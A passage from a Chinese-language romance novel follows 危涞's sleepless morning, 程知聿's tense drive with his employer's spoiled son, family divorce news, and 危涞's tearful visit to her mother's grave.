这一觉她睡得并不好,浮肿的脸贴了两片急救面膜也没能救回来,盯着镜子里发乌的脸,干脆破罐子破摔,妆也不化顶着两个熊猫眼出现在餐厅。
“Hi。”她揣兜在柯特旁边坐下,死气沉沉。
柯特差点把牛奶喷出来,在危涞“你喷一个试试”的威胁目光下,又硬生生咽了下去。
“你状态好差。这几天明明都没有工作。”他小心言辞,生怕哪个字触到她的雷点。
危涞蔫蔫的,有气无力地“唔”了声,趴在桌上。
梦里好端端走在路上,被一群不认识的人举着烂菜叶子丢,追问了三条街“你和他到底什么关系”还能有精神就怪了。
“唉……”她低低叹气,“你不会懂我的。”
柯特咬着面包,含糊道:“你不说我怎么懂。”
她又一声叹息。
直到导演讲话才强撑起精神。
这几日车辆进进出出把团队成员的行李运走,纪成安有空路过,被逼到贴着墙根走,喊田阿姨问:“他们这就走了?”
“是呀。”田阿姨系着围裙,“全部都退房了哩。”
纪成安“啧啧”两声,这桃花实在开得短暂,朝着田阿姨挥手:“我下回再来玩!”
“欸—小心点——”话音刚落就见他差点被突出的青石板绊倒,田阿姨摇摇头。
纪成安一路风风火火跑进程知聿家的院子,找了一圈没看见人,问小云儿:“人呢?”
她坐在桌前插花,知道是他头也不回,“老板?早几天就出差了。”
“什么时候回来?”
“不知道。你打电话问他好不好,我哪知道。”
“那这些东西放哪?”
小云儿端起花瓶起身:“就放他房间!”
纪成安搬着东西又“噔噔噔”跑上楼,把程知聿交代的东西放下,喘粗气,“这么重...等回来一定敲你一顿大的......”
余光瞟见被人放在床底的一口大箱子,露出一只黑袋子,刚扯出来一角想要看,又接到电话,挠挠头骂了声。
“来了来了!”
火急火燎,差点撞倒小云儿刚摆好的花,又是一顿好骂。
程知聿刚从机场接到方显宗的儿子。
一年前也是他送他出的国。
听方舒阳刚和电话那头吵完架又开始少爷脾气指点起程知聿,“你这速度也太慢了,我拿脚开都比你快,到底会不会开车,真不知道我爸花那么多钱养着你干什么。”
车身贴着路边停下。
男人比后座男孩高出半头不止,穿着立挺的西装。
方舒阳大惊失色,“你做什么?!”
程知聿不慌不忙地点烟,“你到前面去。”
“你疯了?这是在国内!”他可不想一回来就进局子。
“那就别说话。”他显然是心情不好,贯会伪装的人脸上一点笑意都没有,怪瘆人的。
方舒阳缩缩脖子:“和女朋友分
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手了吧。”
程知聿充耳不闻,依旧保持原来的速度前进。
一小时的路程被他生生多开出两倍的时间。
后座的少爷怀疑他在整自己,憋着一肚子气下车,还不忘同程知聿撂狠话:“你等着我和我爸告你的状!”
哪知这人根本不理,连表情都懒得分给他,留下一长串汽车尾气离开。
气得方舒阳破口大骂。
危涞要离开的消息是林秀禾打电话时偶然同程知聿说的,姑姑姑父果真第二天就去民政局领离婚证,现在处于分居状态,康曾文不愿意从那房子里搬出来,程萍就拉着行李从家里搬回母亲家。
林秀禾操心女儿的事情,直到邻居说起才知道,这个外国人剧组已经要离开。
程知聿沉默,不动声色跳过这个话题。
林秀禾又说,万一女儿女婿离婚了,康贻怎么办,她埋怨自己没有本事,两个孩子都不能幸福的长大。
程知聿要她放宽心,康贻是懂事的年纪了,她会理解姑姑的选择的。
林秀禾听见电话对面的人在喊,忙说:“我不打扰你了,去忙吧。”
程知聿挂断电话,再拿起手机已经是深夜,没有新的消息进来,他那天晚上的话不算是气话,现实不允许他的理想主义,又或者说,他不愿意当她一辈子见不得光、遮遮掩掩的情人。
他要听她说清楚。
不能每次都这么不清不楚的开始。
危涞却不理解他为什么要这么较真,明明只要双方都开心不就就好了。
边子瑜讲她:“不以结婚为目的的谈恋爱都是耍流氓。”
危涞好无辜:“我又没有和他谈恋爱。”
“这说明你连流氓都不如。”
危涞敲了六个点过去,“你未免太夸张。”
导演团队一行人飞到京市中转,柯特对她说:“我没有告诉哈里斯你的工作已经结束,算给你留多点清闲时间。”
危涞叹气:“谢谢你嗷。”
她同几人一一告别,阿诺德赠给她一本笔记,“后会有期。”
危涞滚了滚喉咙,“后会有期。”
翻开笔记本,泛黄的照片飘出来,危涞捂住嘴巴,豆大的眼泪滚落。
照片里的危景媛永远年轻,笑得明艳。
她的肩膀微微颤抖,直到机场工作人员询问是否需要帮助。
这是危景媛留在世间的最后一张照片,拼凑起破碎生动的回忆。
危涞把自己关在房间直到整理好思绪。
眼睛红肿得不能见人,她拿起墨镜挡住,驱车前往。
墓地的工作人员已经对她很熟悉,点头致意。
这位小姐总是提早一天来,一直待到太阳下山。
她站在母亲的墓前,眼睛肿得发烫,手指沿着刻下的文字一笔一画,就像小时候危景媛握着她的手教写字时那样。
来的时候打了一肚子草稿,现在站在面前却一个字也说不出。
她带来了一只百合,安静地放在墓前。
告诉危景媛今年自己一个人都去了那些地方,见到她最喜欢的导演,告诉她阿诺德还记得她,在那个开满鲜花的城市遇见一个男人。